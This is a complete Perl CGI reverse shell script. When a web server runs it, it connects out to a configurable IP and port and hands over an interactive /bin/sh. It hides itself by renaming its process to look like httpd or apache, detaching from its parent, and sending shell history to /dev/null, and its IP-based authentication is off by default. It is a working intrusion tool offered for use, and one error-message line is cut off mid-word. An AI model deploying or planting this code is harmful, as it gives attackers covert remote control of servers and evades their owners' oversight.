#!/usr/bin/perl -w


use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '10.1.0.1';
my $port = 53921;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
                # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
        cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

        if ($auth) {
                unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
                        cgiprint("ERROR: Your client isn't authorised to view this page");
                        cgiexit();
                }
        }
} elsif ($auth) {
        cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denyin$
        cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
        my $pid = fork();
	if ($pid) {
                cgiexit(0); # parent exits
        }

        setsid();
        chdir('/');
        umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
        cgiprint("Sent reverse shell to $ip:$port");
        cgiprintpage();
} else {
        cgiprint("Couldn't open reverse shell to $ip:$port: $!");
        cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
        my $line = shift;
        $line .= "<p>\n";
        $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
        cgiprintpage();
        exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
        print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

